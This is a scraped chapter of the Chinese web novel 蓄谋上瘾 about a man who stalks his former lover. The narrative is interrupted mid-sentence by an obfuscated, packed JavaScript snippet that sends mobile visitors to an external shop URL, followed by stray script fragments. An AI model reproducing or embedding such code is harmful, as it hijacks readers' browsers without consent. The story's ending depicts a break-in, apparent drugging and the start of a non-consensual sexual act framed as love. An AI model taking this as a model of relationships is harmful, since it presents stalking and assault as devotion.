文趣网 > 都市小说 > 蓄谋上瘾 > 29. 疯狗行为
    从殡仪馆回来后,柯清连病了三天。

    高烧让他整个人都陷入混沌,他一会儿说要喝水,一会儿哭着喊阿姐。

    过去与现在混乱交织。

    迷迷糊糊间他看见有个人影进出徘徊,冰凉的手搭在他额头上,有声音叫了声“阿清”。

    柯清猛然惊醒,意识从幻梦中逃脱回归现实。

    趴在地板上的松松闻声激动地跳起来,狗头搭在床边并咧着嘴笑。

    “你想留下来,还是跟我走?”他问。

    松松好像听懂了,欢快转圈,又把狗头送到了他手里。

    他揉了揉它棕红色的毛发,环抱住松松脖颈,哑着嗓子说:“我们走。”

    公寓的门关上后还不到一分钟,付褚恒风风火火的赶回来。

    车钥匙被他随手扔在岛台上,飞跨几步就到了卧室门口。

    “柯清!”

    见里面没人,他慌忙回头张望。

    “柯清?”

    “柯清你在家吗?松松?臭狗!”

    付褚恒开始感到不安,立即给柯清拨去电话。

    “对方正在通话中”循环了好几遍了,机械女声换了一句更冰冷的回复——“您拨打的用户已关机”。

    他茫然环顾空旷寂静的公寓,一时间天旋地转。

    付褚恒趔趄后退一步,大腿撞在沙发靠背上。

    他不得不告诉自己,柯清永远都不会原谅他了。

    可是他不甘心就这么被命运安排!

    他想要的东西必须得牢牢抓在手里!未来还有那么多时间,他可以慢慢跟柯清解释。

    一遍不行就两遍,两遍不行就一百遍一千遍。

    即便柯清恨他,但不能离开他!

    夜幕降临。

    亮黑色的跑车在路上疾驰。

    付褚恒右手扶着方向盘,左手手臂搭在车门上。

    所有他猜测柯清可能去的地方,他都一一找过。

    最后跑车拐进他只来过一次老小区。

    凭借记忆中的路线,他找到了这扇红漆斑驳的防盗门。

    “柯清!柯清你在里面吗!”

    “咚咚咚!”

    “柯清!”

    “咚咚咚!”

    “咚咚咚!”

    对门住户把门拉开一条缝,只伸出一个头,怒气冲冲地问:“大晚上干什么!有事你打电话啊!还让不让人睡觉了!”

    付褚恒没理他,继续砸门:“柯清,你在里面吗?求求你出来!我有话要对你说!柯清,我错了,我知道自己错了。但是我们之间的误会得说清楚……”

    “你再吵我报警了啊!”女人说,“那家人都好久没回来了,你别喊了!”

    他怔住,痴痴地问:“没人?”

    “对没人,赶紧走!”

    付褚恒丢了魂似的,摇摇晃晃往楼下走去。

    过了一会儿,快被砸烂的门慢慢打开了。

    女人投去担忧的目光,问:“小清,这是谁?太吓人了。”

    柯清望向空荡荡的楼道,轻声说:“仇家。”

    这两天他躲在小屋里,谁也不见。

    整日坐在电脑椅上,盯着那面白墙。

    墙上贴满照片和写了内容的便利签,红黄两色的粉笔线将人与人之间的关系标明。

    原本的复仇计划需要更改,他已经没有周旋的耐心。

    他看向何玫的照片,这个女人也在付褚恒提供的名单之中。

    而且当时她和他姐分别是女一女二,两人之间不能说完全清白。

    还有这个郑导郑忠,作为国际知名导演,同时也是国内炫星传媒的大股东。

    通过天眼查,柯清发现郑忠名下关联好几个公司,其中一个与何玫有千丝万缕的联系。

    他拿起黄色粉笔,把郑忠和何玫连了起来。

    又以何玫为起始点,黄线绕了一大圈来到徐峰头上。

    何玫的父母曾是某音乐学院教授,手底下最出名的学生就是徐峰。

    只不过后来这对教授不幸在火灾中丧生,所以两家人几乎断了往来。

    他拿起红色马克笔在徐峰脸上画了一个大大的叉,随后慢慢倒退。

    一张复杂的人数众多的关系网远看如蛛网,网上的人都是他的猎物。

    来回交织的线将会成为套在他们脖子上铰链……

    这时,手机亮起陌生来电。

    他不用想也猜到了是谁。

    柯清拿起手机,通讯录黑名单内又多了一串号码。

    随后又响起的手机铃声让他不禁皱眉,拿起来一看原来是池也。

    “嗯,我没事。在家。”

    “你心情好点了吗?要不要出来吃饭?我,我还没谢谢你帮我找住的地方。”池也小心翼翼地说。

    没想到柯清很爽快的答应了,他说:“好,地址我发给你。对了,你在烟花办入职了吗?”

    “还,还没……明天我就去……”

    “我不是这个意思。”柯清说,“我是想劝你仔细考虑一下。我不打算在烟花干了,过两天我就辞职。”

    “那你去哪里,我和你一起……”

    “还没想好。”他走到白墙前面,手中的黄粉笔由徐峰连到池也,再由池也反向推了回去,最后箭头对准何玫。

    他快速地给这条线标上“姐弟”两个字,眼里的寒光闪烁。

    “我很喜欢当演员,准备继续干这一行。可是我不知道离开烟花,哪里还能收留我……”

    “池也,你有推荐的去处吗?现在除了你,我已经没有可以信任的人了。”

    “……只有我了吗?”池也压抑住声音里的激动,郑重的叫了一声,“阿清。”

    柯清辞职手续办好了之后,付褚恒才得知这件事。

    他愤怒地推开陈芸办公室的门,低吼道:“为什么不告诉我!谁准你自作主张!”

    找了这么多天,他连柯清一个背影都没看到。

    活生生的人就像是凭空消失了一样,这种无力感快把他逼疯了!

    不,已经把他逼疯了!

    陈芸低下头,站到一边。付褚恒这才看到付毅正坐在办公桌后。

    她察觉到这两兄弟之间的火药味,识趣的出去关上了门。

    “是我批的。”付毅说,“看在是你小情人的份上,连合同违约金我都给他免了。你去通知李导,他那部戏的男二该换人了。”

    付褚恒攥紧拳头,现在去追也许还能追上!

    “站住。”付毅不紧不慢地说,“他主动跟你分手,你还要去死缠烂打?这种下流的手段,简直玷污了付家的名声。”

    “我根本就不是付家人,我也不姓付!”

    付褚恒走上前,两只大手同

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798992|210576||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时拍在桌上,气势汹汹地说:“我姓褚,我叫褚恒!”

    “啪!”

    付毅甩了他一耳光。

    “闭嘴。”付毅转了转手腕,“不要再让我听到你说这种话。”

    “我就是疯了,失去他我就是会疯!”他夺过付毅的手,用力往自己脸上招呼,“你最好能打死我,要不然我有一口气都会从这里爬出去找他!”

    见他这幅架势,反倒是付毅先懵了。

    眼前的付褚恒不是失心疯就是狂犬病。

    付毅这才发现被自己从小养到大的弟弟不仅仅有着懦弱的性格和愚蠢的脑子。

    他还是条疯狗!

    平时只敢龇牙的疯狗一旦被触及到软肋,他就会不管不顾咬起挡在他面前的所有人!

    付毅盯着他,没有生气反倒多了些赞许之色。

    “我劝你就当一切结束了,不要再在外面给我丢人。”

    付褚恒哪会听,夺门而出。

    找过的地方他还会再找。

    如无法安息的怨灵般绕着那几个点一圈一圈打转。

    天空云层渐厚。

    狂风大作,吹的他睁不开眼。

    城市被低气压统治,翻滚的夏日热浪在风中咆哮。

    他今天第三次经过柯清爱去的大排档。

    老板正在抽烟,看见他后热情地打招呼。

    “你怎么没跟他们一起来,他们正在里头吃饭呢!”

    付褚恒双眼亮了,跑进店内焦急的寻找。

    老板也跟了过来,指着角落的空桌,挠了挠头,“奇怪,刚才还在这啊?”

    “喂,开始下大雨了,我给你拿把伞!”老板从店里拿出伞时,已经看不见人了。

    “气象台最新报道,台风‘贝碧嘉’即将登陆我市。请居民朋友们完成居家安全自查,做好避险准备……”挂在墙上的电视机正在播报。

    “真要这么做吗?付总看上去太可怜了。”池也抬起伞。

    他们二人就站在马路对面的屋檐下。

    “我不想提他。”柯清主动撑伞,笑笑说,“我送你回家,台风要来了。”

    柯清知道付褚恒一直在找他。

    但是那又怎样,两人本来就没可能,以后更没有。

    风越来越大,拼命锤击窗玻璃,推拉窗被震得“啪啪”作响。

    柯清吃了两粒褪黑素后躺进被窝。

    松松被巨响吓得往他怀里钻。

    可是忽然,小狗呜咽着跳下床。

    他察觉到异样,于是强忍困意去拽松松上床,结果摸到了一颗湿漉漉的人头!

    闪电穿过夜空,照亮卧室。

    付褚恒背着光,黑暗中的脸部轮廓模糊。

    湿哒哒的头发弯曲成一缕缕且不停滴水,他那被湿发半遮住的双眼却亮的让人心慌。

    “你怎么进来的!”

    柯清瞬间坐起来,惊吓只带来一秒清醒,紧接着药效发挥作用。

    他感觉身体越来越来沉……隐约觉得哪里不对劲,这不是褪黑素该有的药效……

    “老婆,你明明在家,为什么不开门?”

    付褚恒单膝压在床沿,用双手撑着身体,一点点爬向柯清。

    “我好想你。”他吻向柯清的嘴唇,一手探进短裤,“给我一个机会解释,我可以解释……但是在这之前,我真的好想你……”